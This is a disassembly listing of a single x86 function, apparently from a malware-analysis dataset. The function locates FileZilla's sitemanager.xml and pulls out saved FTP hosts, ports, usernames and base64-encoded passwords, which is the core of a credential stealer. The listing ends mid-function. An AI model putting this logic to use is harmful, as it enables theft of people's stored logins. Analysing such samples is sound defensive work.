Function at 0x100a1940
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
mov eax, dword [0x100ff008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x110]
mov dword [ebp - 0x140], 0
push eax
push 0
mov esi, ecx
mov dword [ebp - 0x130], 0
push 0
push 0x1a
push 0
mov dword [ebp - 0x1bc], esi
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov dword [ebp - 0x12c], 0xf
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0xf
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov dword [ebp - 0x1c0], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x110]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x118], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x114], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a1a30
sub ecx, edx
lea eax, [ebp - 0x110]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.100b1950
push 0x100f965c
lea ecx, [ebp - 0x128]
call fcn.100b11c0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1fc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x114]
cmp edx, 0x10
jb 0x100a1abe
mov ecx, dword [ebp - 0x128]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1ab4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
push str.FileZilla_sitemanager.xml
lea ecx, [ebp - 0x20c]
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
call fcn.100b11c0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1a0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x190], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x100a1b4b
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1b41
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a3413
push edx
push ecx
call fcn.100bd5f4
add esp, 8
cmp dword [ebp - 0x18c], 0x10
lea eax, [ebp - 0x1a0]
push 0x100f96cc
cmovae eax, dword [ebp - 0x1a0]
push eax
call fcn.100c64bd
add esp, 8
test eax, eax
je 0x100a3222
push eax
call fcn.100c654b
mov eax, dword [ebp - 0x190]
add esp, 4
inc eax
push eax
call fcn.100bd602
add esp, 4
lea ecx, [ebp - 0x1a0]
cmp dword [ebp - 0x18c], 0x10
mov edi, eax
mov edx, edi
cmovae ecx, dword [ebp - 0x1a0]
sub edx, ecx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x100a1bb0
push 0x100f96cc
push edi
call fcn.100c64bd
mov ebx, eax
push ebx
mov dword [ebp - 0x210], ebx
call fcn.100c9215
add esp, 0xc
test eax, eax
jne 0x100a2f98
push ebx
push 0x800
push 0x10105b48
call fcn.100c7eb7
add esp, 0xc
test eax, eax
je 0x100a2f81
mov ecx, 0x10105b48
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100a1c22
sub ecx, edx
push ecx
push 0x10105b48
lea ecx, [ebp - 0x128]
call fcn.100b1950
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
mov ecx, esp
push 6
push str._Host_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b1950
call fcn.10086320
add esp, 0x30
test eax, eax
jle 0x100a1e52
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
mov ecx, esp
push 7
push str.__Host_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b1950
call fcn.10086320
add esp, 0x30
test eax, eax
jle 0x100a1e52
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._Host_
push ecx
call fcn.100b2660
add esp, 0xc
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a341d
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b1950
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100b1280
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a1d94
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1d8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
cmp dword [ebp - 0x12c], 0x10
lea ecx, [ebp - 0x140]
mov esi, dword [ebp - 0x130]
mov edx, esi
cmovae ecx, dword [ebp - 0x140]
push 7
push str.__Host_
push ecx
call fcn.100b2660
mov ecx, eax
mov dword [ebp - 0x1b8], 0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
cmp esi, ecx
mov dword [ebp - 0x1a4], 0xf
lea eax, [ebp - 0x140]
cmovb ecx, esi
cmp dword [ebp - 0x12c], 0x10
push ecx
cmovae eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b1950
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x140]
call fcn.100b1280
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a1e52
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1e48
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
mov ecx, esp
push 6
push str._Port_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b1950
call fcn.10086320
add esp, 0x30
test eax, eax
jle 0x100a2068
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
mov ecx, esp
push 7
push str.__Port_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b1950
call fcn.10086320
add esp, 0x30
test eax, eax
jle 0x100a2068
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._Port_
push ecx
call fcn.100b2660
add esp, 0xc
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a341d
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b1950
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x188]
call fcn.100b1280
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a1faa
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a1fa0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
cmp dword [ebp - 0x174], 0x10
lea ecx, [ebp - 0x188]
mov esi, dword [ebp - 0x178]
mov edx, esi
cmovae ecx, dword [ebp - 0x188]
push 7
push str.__Port_
push ecx
call fcn.100b2660
mov ecx, eax
mov dword [ebp - 0x1b8], 0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
cmp esi, ecx
mov dword [ebp - 0x1a4], 0xf
lea eax, [ebp - 0x188]
cmovb ecx, esi
cmp dword [ebp - 0x174], 0x10
push ecx
cmovae eax, dword [ebp - 0x188]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b1950
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x188]
call fcn.100b1280
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a2068
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a205e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
mov ecx, esp
push 6
push str._User_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b1950
call fcn.10086320
add esp, 0x30
test eax, eax
jle 0x100a227e
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
mov ecx, esp
push 7
push str.__User_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b1950
call fcn.10086320
add esp, 0x30
test eax, eax
jle 0x100a227e
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 6
cmovae ecx, ebx
push str._User_
push ecx
call fcn.100b2660
add esp, 0xc
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
lea edx, [eax + 6]
cmp esi, edx
jb 0x100a341d
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b1950
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.100b1280
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a21c0
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a21b6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
cmp dword [ebp - 0x15c], 0x10
lea ecx, [ebp - 0x170]
mov esi, dword [ebp - 0x160]
mov edx, esi
cmovae ecx, dword [ebp - 0x170]
push 7
push str.__User_
push ecx
call fcn.100b2660
mov ecx, eax
mov dword [ebp - 0x1b8], 0
add esp, 0xc
mov dword [ebp - 0x1a8], 0
cmp esi, ecx
mov dword [ebp - 0x1a4], 0xf
lea eax, [ebp - 0x170]
cmovb ecx, esi
cmp dword [ebp - 0x15c], 0x10
push ecx
cmovae eax, dword [ebp - 0x170]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b1950
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x170]
call fcn.100b1280
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a227e
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2274
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
mov ecx, esp
push 0x18
push str._Pass_encoding_base64__
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b1950
call fcn.10086320
add esp, 0x30
test eax, eax
jle 0x100a24eb
sub esp, 0x18
lea eax, [ebp - 0x128]
mov ecx, esp
push eax
call fcn.100b1340
sub esp, 0x18
mov ecx, esp
push 7
push str.__Pass_
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
call fcn.100b1950
call fcn.10086320
add esp, 0x30
test eax, eax
jle 0x100a24eb
mov edi, dword [ebp - 0x114]
lea ecx, [ebp - 0x128]
mov ebx, dword [ebp - 0x128]
cmp edi, 0x10
mov esi, dword [ebp - 0x118]
mov edx, esi
push 0x18
cmovae ecx, ebx
push str._Pass_encoding_base64__
push ecx
call fcn.100b2660
add esp, 0xc
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
lea edx, [eax + 0x18]
cmp esi, edx
jb 0x100a341d
sub esi, edx
lea eax, [ebp - 0x128]
mov ecx, 0xff
cmp esi, ecx
cmovb ecx, esi
cmp edi, 0x10
push ecx
cmovae eax, ebx
lea ecx, [ebp - 0x1b8]
add eax, edx
push eax
call fcn.100b1950
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x158]
call fcn.100b1280
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a23d6
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a23cc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
cmp dword [ebp - 0x144], 0x10
lea ecx, [ebp - 0x158]
mov esi, dword [ebp - 0x148]
mov edx, esi
cmovae ecx, dword [ebp - 0x158]
push 7
push str.__Pass_
push ecx
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
call fcn.100b2660
mov ecx, eax
add esp, 0xc
cmp esi, ecx
lea eax, [ebp - 0x158]
cmovb ecx, esi
cmp dword [ebp - 0x144], 0x10
push ecx
cmovae eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x1b8]
push eax
call fcn.100b1950
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x158]
call fcn.100b1280
mov edx, dword [ebp - 0x1a4]
cmp edx, 0x10
jb 0x100a2494
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a248a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
lea edx, [ebp - 0x158]
lea ecx, [ebp - 0x228]
call fcn.10083f00
push eax
lea ecx, [ebp - 0x158]
call fcn.100b1280
mov edx, dword [ebp - 0x214]
cmp edx, 0x10
jb 0x100a24eb
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a24e1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov ecx, dword [ebp - 0x130]
test ecx, ecx
je 0x100a2f41
cmp dword [ebp - 0x160], 0
je 0x100a2f41
cmp dword [ebp - 0x148], 0
je 0x100a2f41
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a252d
cmp byte [eax], 0x30
jne 0x100a252d
mov al, 1
jmp 0x100a252f
xor al, al
test al, al
je 0x100a2a93
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 1
jb 0x100a3422
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ecx
cmovae eax, dword [ebp - 0x140]
push eax
push 1
push 0x100f9728
push ecx
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x228]
call fcn.100b40e0
push 0x100f9db8
lea ecx, [ebp - 0x228]
call fcn.100b11c0
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x20c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x188]
push eax
call fcn.100b1da0
add esp, 4
mov ecx, eax
push 0x100f9724
call fcn.100b11c0
push 0x100f9728
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b11c0
lea edx, [ebp - 0x1dc]
lea ecx, [ebp - 0x25c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1dc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x170]
push eax
call fcn.100b1da0
add esp, 4
mov ecx, eax
push 0x100f9724
call fcn.100b11c0
push 0x100f9728
lea ecx, [ebp - 0x28c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x28c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x27c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100b11c0
lea edx, [ebp - 0x274]
lea ecx, [ebp - 0x244]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x274], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x264], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x158]
push eax
call fcn.100b1da0
add esp, 4
mov ecx, eax
push 0x100f9738
call fcn.100b11c0
mov ecx, dword [ebp - 0x1bc]
lea edx, [ebp - 0x2a4]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x294], xmm0
cmp dword [ebp - 0x290], 0x10
mov ebx, dword [ebp - 0x294]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
movd edi, xmm1
movups xmmword [ebp - 0x2a4], xmm1
cmovae edx, edi
sub eax, esi
cmp ebx, eax
ja 0x100a275a
cmp dword [ecx + 0x14], 0x10
lea eax, [ebx + esi]
mov dword [ecx + 0x10], eax
mov eax, ecx
jb 0x100a2747
mov eax, dword [ecx]
push ebx
add esi, eax
push edx
push esi
call fcn.100bfbc0
add esp, 0xc
mov byte [ebx + esi], 0
jmp 0x100a2775
push ebx
push edx
mov byte [ebp - 0x22c], 0
push dword [ebp - 0x22c]
push ebx
call fcn.100b29e0
mov edi, dword [ebp - 0x2a4]
mov eax, dword [ebp - 0x290]
cmp eax, 0x10
jb 0x100a27ab
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x100a27a1
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push ecx
push edi
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x230]
cmp edx, 0x10
jb 0x100a27e5
mov ecx, dword [ebp - 0x244]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a27db
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x260]
mov dword [ebp - 0x234], 0
mov dword [ebp - 0x230], 0xf
mov byte [ebp - 0x244], 0
cmp edx, 0x10
jb 0x100a283a
mov ecx, dword [ebp - 0x274]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2830
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x278]
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x260], 0xf
mov byte [ebp - 0x274], 0
cmp edx, 0x10
jb 0x100a288f
mov ecx, dword [ebp - 0x28c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2885
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x278], 0xf
mov byte [ebp - 0x28c], 0
cmp edx, 0x10
jb 0x100a28e4
mov ecx, dword [ebp - 0x25c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a28da
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x248], 0xf
mov byte [ebp - 0x25c], 0
cmp edx, 0x10
jb 0x100a2939
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a292f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x100a298e
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2984
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1f8]
mov dword [ebp - 0x1e4], 0
mov dword [ebp - 0x1e0], 0xf
mov byte [ebp - 0x1f4], 0
cmp edx, 0x10
jb 0x100a29e3
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a29d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
cmp edx, 0x10
jb 0x100a2a38
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2a2e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x214]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
cmp edx, 0x10
jb 0x100a2a8d
mov ecx, dword [ebp - 0x228]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2a83
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov ecx, dword [ebp - 0x130]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
cmp dword [ebp + 0x18], 1
jne 0x100a2aad
cmp byte [eax], 0x31
jne 0x100a2aad
mov al, 1
jmp 0x100a2aaf
xor al, al
test al, al
je 0x100a2ef3
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 0xe
jb 0x100a3422
cmp dword [ebp - 0x12c], 0x10
lea eax, [ebp - 0x140]
push ecx
cmovae eax, dword [ebp - 0x140]
push eax
push 0xe
push str.ftpFileZilla
push ecx
push dword [ebp - 0x1c4]
lea ecx, [ebp - 0x228]
call fcn.100b40e0
push 0x100f9db8
lea ecx, [ebp - 0x228]
call fcn.100b11c0
lea edx, [ebp - 0x1dc]
lea ecx, [ebp - 0x244]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1dc], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1cc], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x188]
push eax
call fcn.100b1da0
add esp, 4
mov ecx, eax
push 0x100f9730
call fcn.100b11c0
lea edx, [ebp - 0x1f4]
lea ecx, [ebp - 0x25c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1f4], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1e4], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x170]
push eax
call fcn.100b1da0
add esp, 4
mov ecx, eax
push 0x100f9730
call fcn.100b11c0
lea edx, [ebp - 0x1b8]
lea ecx, [ebp - 0x20c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x158]
push eax
call fcn.100b1da0
add esp, 4
mov ecx, eax
push 0x100f972c
call fcn.100b11c0
mov ecx, dword [ebp - 0x1bc]
lea edx, [ebp - 0x2bc]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x2ac], xmm0
cmp dword [ebp - 0x2a8], 0x10
mov ebx, dword [ebp - 0x2ac]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ecx + 0x14]
mov esi, dword [ecx + 0x10]
movd edi, xmm1
movups xmmword [ebp - 0x2bc], xmm1
cmovae edx, edi
sub eax, esi
cmp ebx, eax
ja 0x100a2c6a
cmp dword [ecx + 0x14], 0x10
lea eax, [esi + ebx]
mov dword [ecx + 0x10], eax
mov eax, ecx
jb 0x100a2c57
mov eax, dword [ecx]
push ebx
add esi, eax
push edx
push esi
call fcn.100bfbc0
add esp, 0xc
mov byte [ebx + esi], 0
jmp 0x100a2c85
push ebx
push edx
mov byte [ebp - 0x1c4], 0
push dword [ebp - 0x1c4]
push ebx
call fcn.100b29e0
mov edi, dword [ebp - 0x2bc]
mov eax, dword [ebp - 0x2a8]
cmp eax, 0x10
jb 0x100a2cbb
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x100a2cb1
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push ecx
push edi
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x100a2cf5
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2ceb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x1fc], 0
mov dword [ebp - 0x1f8], 0xf
mov byte [ebp - 0x20c], 0
cmp edx, 0x10
jb 0x100a2d4a
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100a2d40
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100a340e
push edx
push ecx
call fcn.100bd5f4
add esp, 8
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
